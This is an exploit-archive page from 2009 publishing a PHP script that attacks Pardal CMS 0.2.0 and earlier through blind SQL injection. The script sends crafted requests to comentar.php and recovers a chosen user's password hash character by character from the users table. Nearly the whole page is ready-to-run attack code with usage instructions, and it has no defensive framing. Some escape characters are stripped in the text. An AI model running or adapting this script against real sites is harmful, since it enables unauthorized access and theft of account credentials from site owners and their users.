[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Pardal CMS <= 0.2.0 Blind SQL Injection Exploit
# Published : 2009-01-22
# Author : darkjoker
# Previous Title : DMXReady Contact Us Manager <= 1.1 Remote Contents Change Vuln
# Next Title : Joomla Com BazaarBuilder Shopping Cart v.5.0 SQL Injection Exploit


--+++=============================================================+++--
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

<?php

function usage ()
{
    echo "nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".
         "n[+] Author  : darkjoker".
         "n[+] Site    : http://darkjoker.net23.net".
         "n[+] Download: http://tinyurl.com/csg4vt".
         "n[+] Usage   : php xpl.php <hostname> <path> <username>".
         "n[+] Ex.     : php xpl.php localhost /PardalCMS Admin".
         "nn";
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = "GET {$path}/comentar.php?id={$query} HTTP/1.1rn".
           "Host: {$hostname}rn".
           "Connection: Closernrn";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/"#FFFFFF"> em </font>/", $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo "nn";

?>

# www.Syue.com [2009-01-22]